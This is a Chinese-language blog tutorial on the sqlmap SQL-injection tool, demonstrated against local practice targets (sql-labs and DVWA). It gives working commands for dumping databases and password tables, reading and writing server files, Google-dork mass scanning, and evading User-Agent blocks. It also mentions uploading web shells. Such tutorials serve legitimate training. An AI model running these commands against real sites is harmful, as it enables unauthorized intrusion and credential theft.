[关闭]
@1kbfree 2018-08-13T15:24:27.000000Z 字数 4652 阅读 3755

sqlmap 详解

渗透工具


本文章是看着《Web安全功夫:渗透测试实战指南》这本书(好书,推荐大家购买)来写的,主要是自己动手操作了一次(毕竟实践出真理~),然后把书中描述不全的内容描述全面,让更多人看的更加轻松~

靶机

这里使用的是sql-labs,他有75种不同类型的注入漏洞,相当的全面,很适合学习


一个简单的使用sqlmap来渗透网站的小过程,如下

判断是否存在注入

1、判断是否存在注入

  1. sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1"

image_1ckk2q5jjllbmv319b21tb21c09g.png-101.4kB

2、判断请求中是否存在注入

从文件中加载HTTP请求,SQLMAP可以从文本文件中获取到请求,如下

把觉得存在注入的数据放在一个txt文件里,然后使用burp来跑~

  1. sqlmap -r test.txt

image_1ckk4nudrk7l1adqqsint111ut.png-106kB

获取数据库里面的数据

如果确定存在sql注入,我们就要尝试获取一下数据,不然这个注入就不会有任何危害~

输入如下代码,效果是输出当前网站的电脑上所有的数据库

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --dbs

这里显示有43个数据库,里面有41cms74cms

image_1ckk4unoscrel9pgl414fa1g701a.png-97.2kB

获取数据库中的表名

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security --tables

这里的-D security --tables是说去跑出security下所有的表,那么这里会有人好奇security是如何获取的,就是我们上一步--dbs跑出来的,上面那个跑出的表名如下

image_1ckk6f2ucp5917a8o511djj1sfv1n.png-86kB

获取表中的字段名

在上面我们获取到了4个表名,其中有一个是users,那么我们就要来获取下他下面的字段名

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security -T users --columns

image_1ckk6s79u10m1t8k1qkh1443ami24.png-84.8kB

获取字段下的数据

上一步获取到了3个字段,分别为idpasswordusername,那么我们现在来获取一下他们的内容

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 -D security -T users -C id,password,username --dump

image_1ckk75d3p1ahgr663v61lm04ad2h.png-67.5kB

ok,成功跑出了内容,这个时候就可以用这些账号密码登陆后台然后进行一些不可描述的事情,这就是使用sqlmap的实际使用过程


知道了他的渗透过程之后 下面就直接讲每个命令的功能是什么了~

获取数据库的所有用户

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --users

image_1ckk8sfhg1vck1uisabl8r1svk2u.png-100.9kB

获取数据库的密码

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --password

image_1ckk95uj7niv1dnutc81om7gi54b.png-118.9kB

获取当前网站数据库的名字

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --current-db

image_1ckk9atsc1oam1as325m1cb314qt9.png-111.1kB

获取当前网站数据库的用户名称

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --current-user

image_1ckk9d9dpikv1cs0uvksl8li916.png-126.3kB

进阶:参数讲解

1、--level 5: 探测等级

这个参数指需要执行的测试等级,他的访问是1~5,如果不加这个参数,那么默认是--level 1。注意的是:等级越高,他的payload越多,所以时间也会越长level 5

总之,这里的等级越高,测试的越全面,代价就是等待的时间会比较长

其他的往后再讲解,这里只是告知一下哈哈哈哈=v=

2、--is-dba:查看当前是否为管理权限

此命令用于查看当前账户是否为数据库管理员账户,如果是返回True,如果不是返回False

  1. sqlmap -u "注入点" --is-dba

image_1ckke2d94qhg1t2q1dv14ilk8t23.png-128.1kB

3、--roles:列出数据库管理员角色

该命令用于查看数据库用户的角色,如果当前用户有权限读取包含所有用户的表,执行该命令就会列举出每个用户的角色,如下

image_1ckkff7rl6qg17s6don8e5rue2g.png-184.7kB

4、--referer:测试请求中的Referer是否存在注入

SQLMAP可以在请求中伪造HTTP中的refererlevel等级大于或等于3的时候才会)

往后再讲(没看到相关的案例)

5、--sql-shell:运行自定义SQL语句

该命令用户执行自定义的SQL语句,在渗透的时候,SQLMAP可能无法做到你想要做的事情,但是他是存在注入的,那么可以使用这个命令来执行更多的SQL语句,具体操作如下

image_1ckkgj3ls1fc86c8n4l138c1v4v3d.png-262.7kB

我们来执行一下几个简单的SQL语句,如下

image_1ckkgu303i671bj1nbf1hsuv9t3q.png-250.8kB

可以看到是能够执行的~

6、--os-cmd/--os-shell:运行任意系统命令

如果目标的站点使用的数据库是MySQLPostgreSQLMicrosoft SQL Server,并且用户有权限使用特定的函数时可执行,具体后面讲解

7、--file-read:从存在注入点的服务器中读取文件

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件,操作如下

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --file-read "C:\Users\Administrator\Desktop\burp request\test.txt"

image_1ckkp0hvo1uqa11a0j8g18c91t0g4a.png-198.8kB

image_1ckkp3c6ie8lh97s3m1adp1q6r4n.png-266.5kB

上图他会把目标服务器上读取的文件dump下来,而且路径也列出来了,我们打开一下看看。

image_1ckkp5ivqn762j2mtba2l1atu64.png-241.1kB

但是这个在实际渗透中,如果想读取目标站点的其他文件的话感觉无法读取,因为你并不知道他的绝对路径,那么这个时候我们就应该上传一些web马子来完成这些事情,上传操作在下面

8、--file-write--file-dest:上传文件到数据库服务器中

当数据库为MySQLPostgreSQLMicrosoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件,操作如下

  1. sqlmap -u http://127.0.0.1/sql-bug/Less-1/?id=1 --file-write "test.txt" --file-dest "C:\Users\Administrator\Desktop\src\1.txt"

这句话的意思是,把test.txt里的内容,写入到目标服务器的C:\Users\Administrator\Desktop\src\1.txt

获取目标网站的banner

  1. sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" -p id -f

这里的-p id表示指定跑id这个参数,-f是打印出网站的banner信息

获取数据库的banner

  1. sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" --banner

image_1ckoavjh41gk5qfe1je7e8kdpl9.png-191.6kB

-v 1:详细信息等级

如果不加这个参数的话默认是-v 1
最高可为-v 6,这个时候他会打印出更多的详细信息出来

-a:检索所有参数

-g: 测试注入Google的搜索结果中的GET参数

sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

  1. sqlmap -g "inurl:.php?id=*"

这样,他会去跑用搜索语法找出来的GET请求的链接,然后去看是否存在注入,这里需要翻墙的,因为他使用的是Google

--schema,--exclude-sysdbs:获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型

加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

例子:

  1. sqlmap -u "http://127.0.0.1/sql-bug/Less-1/?id=1" --schema --exclude-sysdbs

跑出的结果如下

image_1ckocqoro1uso8mkd2govl1vt9m.png-116.3kB

--batch:在SQLMAP进行注入的时候,如果使用此参数则会按SQLMAP提示的默认值一直运行下去

-m:批量扫描文件里的Url

比如我现在有个文件Url.txt,他的内容如下

image_1ckodlf5fh7cafl61s1nai1kij1j.png-87.4kB

这里的1、3行是存在注入的,那么我们用SQLMAP跑一下

  1. sqlmap -m url.txt --betch

image_1ckodn8k6hteq90hf62e01gtq20.png-199.8kB

打开箭头指向的文件

image_1ckodo6kb9sk16len0luck1jnc2d.png-86.4kB

--force-ssl:如果注入点是HTTPS,需加上此参数

--param-del:变量分隔符

  1. sqlmap -u "x.x.x" --data="name=only_free;id=666" --param-del=";"

比如上面的注入点,他来区分参数的形式是a;b而不是a&b,那么我们就需要这样子来检测,如果让其区分开来的话SQLMAP就会按照这样子跑name=only_free;id=666 payload

--cookie:设置cookie

在渗透过程中,会遇到一下网站需要先登陆才能去看文章,然后文章处这里存在Sql注入,那么我们就需要先在sqlmap里设置一下cookie才能去跑其文章处的注入。这里拿DVWA来讲解,因为DVWA也需要登陆才能够进行注入

首先打开dvwa

image_1ckp58n4410uc1h3d17s5pct2e7p.png-77.7kB

点击登陆后,获取他的cookieF12大法)

813.png-104.5kB

然后把获取的cookie放入sqlmap来跑注入

  1. sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=hjer3j5n8k0a9r5fl0ld6qnb51"

这样子,sqlmap就能够"登陆"网站,然后来跑注入点了

--random-agent:随机User-Agent

当你没设置这个参数的时候,User-Agent默认是sqlmap/1.0-dev-xxx(http://sqlmap.org),如果我们使用了--random-agent参数的话,就会是随机浏览器的User-Agent

有时候有些网站可能是害怕有黑客用sqlmap来扫描他的网站,所以他禁止了所有sqlmap默认的User-Agent,但是我们可以通过--random-agent来绕过~

--referer:设置referer

  1. sqlmap -u "注入点" --referer="www.baidu.com"

如果level >= 3会去检查referer是否存在注入

--headers:自定义请求头

  1. sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=hjer3j5n8k0a9r5fl0ld6qnb51" --headers="User-Agent:66666666666\nReferer:www.666.com"

这时候去跑注入的时候,他的User-Agent会是6666666666Referer会是www.666.com,这里的\n表示换行,这样子表示第一个请求头和第二个请求头(因为请求头的内容都是这样的,如下图)

image_1ckp8hgfr29fts1af1ono17ji5r.png-114.8kB

--method:GET/POST:设置请求方法

-proxy:设置代理

  1. sqlmap -u "注入点" -proxy="http://代理地址" --proxy-cred="代理要用的认证,比如用户和密码"

SQLMAP tamper讲解

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注